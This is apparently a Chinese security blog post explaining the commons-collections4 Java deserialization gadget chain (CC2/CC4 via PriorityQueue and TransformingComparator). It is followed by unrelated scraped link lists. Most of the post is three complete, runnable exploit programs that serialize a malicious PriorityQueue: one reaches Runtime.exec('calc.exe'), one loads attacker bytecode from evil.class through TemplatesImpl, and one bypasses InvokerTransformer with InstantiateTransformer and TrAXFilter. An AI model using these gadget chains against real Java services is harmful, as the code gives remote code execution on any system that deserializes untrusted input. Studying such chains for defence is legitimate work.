浅谈commons-collections4链

commons-collections4的背景:

由于commons-collections (3.x) 在架构设计和 API 上暴露出一些问题(例如接口设计不够清晰、某些实现不够高效或灵活)。然而,修复这些问题需要进行大量不兼容的改动。官方认识到,进行必要的架构改进会导致新版本 无法与老版本 (3.x) 保持二进制或源代码兼容。强行作为 3.x 的直接升级版 (commons-collections 4.0) 发布,会破坏无数依赖老版本 API 的现有项目。因此将包含重大改进但不兼容的版本作为一个全新的项目分支发布,而不是作为老项目的延续;

也就是说commons-collections4版本不是commons-collections3版本的升级,而是作为新的项目发布

因此

在这个区别上存在两个分支版本commons-collections

commons-collections:commons-collections
org.apache.commons:commons-collections4

那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

事实上,commons-collections4和commons-collections3 内涵其实是差不多的,只是用法上存在差异与存在一些不一样的类;

比如说同样是cc6;在commons-collections4

我们在引入commons-collections4的包后发现

LazyMap.decorate报错;在之前的decorate中他的作用是返回一个LazyMap对象

我们查看LazyMap源码发现

他从之前的decorate返回对象变成了LazyMap返回对象了;

但他的其他调用链却没有什么太大的变化

我们尝试把decorate改成LazyMap,发现仍然可以正常弹出计算器;

在cc1,cc3都可以兼容在commons collections4使用

那这有什么意义呢

反序列化的核心在于transform函数的invoke反射调用;导致的任意代码执行;commons-collections3和commons-collections4不都是一样的吗?

我认为应该这样想多一个版本不就多几条链了吗,可以看到在代码有些部分虽然有些细微差别,但源码大多一致,有时候可以达到兼容的效果;组合起来不就又多几条链了吗;

下面我来介绍一下ysoserial中的cc2和cc4中的PriorityQueue利⽤链

PriorityQueue(优先队列)是 Java 集合框架中的一种特殊队列实现,基于优先级堆(通常是最小堆)实现。其核心特点是:

  • 元素按优先级排序出队(默认自然顺序)
  • 不是先进先出(FIFO),而是按优先级高低出队
  • 底层使用数组存储二叉堆结构

既然同为cc链系列,他们的思路其实都是一致的,都是通过transform函数实现的任意代码执行;攻击路径都是从一个readobject触发点出发到transform函数的方法调用链;过程仍然形象化为 如下图的"拼接过程"

readobject
->...
->..
->transform

下面我们来具体分析PriorityQueue链

老规矩,还是先找transform函数

在TransformingComparator的compare方法中我们看到它调用了transform函数

public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

再回到PriorityQueue的readobject方法,发现调用了heapify,持续跟进下去就会发现调用了comparator.compare方法,我们只需要让

comparator=TransformingComparator即可

readobject 调用 heapify

heapify调用 siftDown

siftDown调用siftDownUsingComparator

siftDownUsingComparator调用comparator.compare方法

所以调用链

PriorityQueue->readobject
->heapify
->siftDown
->siftDownUsingComparator
->comparator.compare
->TransformingComparator->compare
->transformer

可以看到链子中使用了siftDown()函数,作用是顶部元素向下比较交换,直到满足堆条件;⽽ comparator.compare() ⽤来⽐较两个元素⼤⼩

TransformingComparator对象(实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较;siftDownUsingComparator() 中就使⽤这个接⼝的 compare() ⽅法⽐较树的节点。)倘若比较comparator可控;我们就可以实现传入TransformingComparator对象进行"恶意比较"

在其构造函数中我们发现传进去的comparator=this.comparator,所以只需要

 new PriorityQueue<Object>(2,new TransformingComparator(transformer)); //即可

所以构造payload

 Comparator cmp = new TransformingComparator(transformerchains);//载荷
PriorityQueue queue=new PriorityQueue(2,cmp);//触发器

payload如下

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
}; Transformer transformerchains = new ChainedTransformer(fakeTransformers); Comparator cmp = new TransformingComparator(transformerchains);
PriorityQueue queue=new PriorityQueue(2,cmp);
queue.add(1); //这个地方是由于需要触发排序与比较,至少要两个元素才能进行排序与比较
queue.add(2);
setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

结合上一篇文章我们尝试构造无数组形式的payload与绕过InvokerTransformer

无数组payload

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString", null, null); Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp); queue.add(obj);
queue.add(obj); setFieldValue(transformer, "iMethodName", "newTransformer");
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

增加绕过 InvokerTransformer payload

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class}, // 参数类型数组
new Object[]{""} // 参数值数组
); Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp);
// 通过反射修改队列内部数组,直接放入两个TrAXFilter.class
Object[] queueArray = new Object[]{TrAXFilter.class, TrAXFilter.class};
setFieldValue(queue, "queue", queueArray);
setFieldValue(queue, "size", 2);
// setFieldValue(queue, "key", TrAXFilter.class);
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

总结:本篇文章介绍了commons-collections4的背景以及与commons-collections3的差异与兼容性,通过cc6的commons-collections4版本的兼容性解释了cc链的核心逻辑与cc2链子的分析与构造,篇末介绍了cc2的无数组加载字节码利用方式以及拓展性的 InvokerTransformer 绕过;

------------------------------------备注------------------------------

参考 p牛->知识星球->代码审计->java系列文章

浅谈commons-collections4链的更多相关文章

  1. 小E浅谈丨区块链治理真的是一个设计问题吗?

    在2018年6月28日Zcon0论坛上,“区块链治理”这个话题掀起了大神们对未来区块链治理和区块链发展的一系列的畅想. (从左至右,分别为:Valkenburgh,Zooko,Jill, Vitali ...

  2. 浅谈javascript的原型及原型链

    浅谈javascript的原型及原型链 这里,我们列出原型的几个概念,如下: prototype属性 [[prototype]] __proto__ prototype属性 只要创建了一个函数,就会为 ...

  3. JS function 是函数也是对象, 浅谈原型链

    JS function 是函数也是对象, 浅谈原型链 JS 唯一支持的继承方式是通过原型链继承, 理解好原型链非常重要, 我记录下我的理解 1. 前言 new 出来的实例有 _proto_ 属性, 并 ...

  4. 浅谈Angular的 $q, defer, promise

    浅谈Angular的 $q, defer, promise 时间 2016-01-13 00:28:00  博客园-原创精华区 原文  http://www.cnblogs.com/big-snow/ ...

  5. 浅谈HTML5单页面架构(二)——backbone + requirejs + zepto + underscore

    本文转载自:http://www.cnblogs.com/kenkofox/p/4648472.html 上一篇<浅谈HTML5单页面架构(一)--requirejs + angular + a ...

  6. 浅谈struts2之chain

    转自:http://blog.csdn.net/randomnet/article/details/8656759 前一段时间,有关chain的机制着实困绕了许久.尽管网上有许多关于chain的解说, ...

  7. Android性能优化的浅谈

    一.概要: 本文主要以Android的渲染机制.UI优化.多线程的处理.缓存处理.电量优化以及代码规范等几方面来简述Android的性能优化 二.渲染机制的优化: 大多数用户感知到的卡顿等性能问题的最 ...

  8. 浅谈 Linux 内核无线子系统

    浅谈 Linux 内核无线子系统 本文目录 1. 全局概览 2. 模块间接口 3. 数据路径与管理路径 4. 数据包是如何被发送? 5. 谈谈管理路径 6. 数据包又是如何被接收? 7. 总结一下 L ...

  9. 浅谈JavaScript中的闭包

    浅谈JavaScript中的闭包 在JavaScript中,闭包是指这样一个函数:它有权访问另一个函数作用域中的变量. 创建一个闭包的常用的方式:在一个函数内部创建另一个函数. 比如: functio ...

  10. 浅谈算法和数据结构: 七 二叉查找树 八 平衡查找树之2-3树 九 平衡查找树之红黑树 十 平衡查找树之B树

    http://www.cnblogs.com/yangecnu/p/Introduce-Binary-Search-Tree.html 前文介绍了符号表的两种实现,无序链表和有序数组,无序链表在插入的 ...

随机推荐

  1. js回忆录(4) -- 对象,构造函数

    1.对象 && 构造函数 js是一门基于对象的语言,里边所有的数据类型都可以当对象使唤(当然null和undefined除外),当我们在v8引擎里声明一个对象时会发现每个对象属性里边都 ...

  2. C++ 常用转换API记录

    //wstring转string std::string wstring2string(IN std::wstring& wstr) { std::string result; //获取缓冲区 ...

  3. 【Ubuntu】在Ubuntu上配置Java环境

    [Ubuntu]在Ubuntu上配置Java环境 壹.前言 Java是运用得非常广泛的编程语言,在使用Linux时难免会碰到需要用到JDK的情况,故本文介绍如何在Ubuntu上配置Java21环境. ...

  4. Visual Studio 2010 SDK

    HTML 5 Intellisense for Visual Studio 2010 and 2008 Visual Studio 2010 SDK Visual Studio 2010 SP1 SD ...

  5. creative打靶学习笔记(4)

    参考视频[Tryhackme系列网安课程-Creative-难度3-哔哩哔哩] https://b23.tv/6qzkzyh nmap扫描![](https://cdn.nlark.com/yuque ...

  6. Web前端入门第 26 问:CSS 浏览器兼容性怎么查?

    学编码之前,当先学排查问题的能力. 在那个 IE 浏览器 当道的时代,前端开发简直就是刀耕火种一般,一个简单的圆角模块,嘿...不好意思,它不支持,用图片吧. 但凡经历过 IE 的洗礼,就会知道当时哪 ...

  7. 太赞了!两个技巧帮你记住复杂 Linux 命令!

    Linux 经历这么多个年头了,其中命令越来越多,又加上参数的多种多样,就算是实打实的高手也没有十足的把握能把各种命令运用得炉火纯青,就别说那些初学者了. 面对这些复杂难记的命令,网上的一些工具如 K ...

  8. gRPC与RPC的差异

    在微服务架构日益流行的今天,远程过程调用(RPC)技术成为连接各个服务的重要桥梁.本文将详细比较传统RPC与谷歌开发的gRPC框架,通过具体示例展示它们在请求处理.数据格式.性能等方面的差异. 基本概 ...

  9. Quill自定义插入视频video实例

    import Quill from 'quill' const BlockEmbed = Quill.import('blots/block/embed') class VideoBlot exten ...

  10. Cocos Creator3.x小白常见问题笔记&官方视频教程合集收藏分享

    小白常见问题 为什么会有这篇笔记? 这篇笔记旨在答疑解惑官方文档或视频教程里忽略掉的细节.对于小白来说这些细节没人提醒或浪费很多时间,但在熟悉的人眼里这都是些什么问题,回都懒得回. (别问我怎么知道的 ...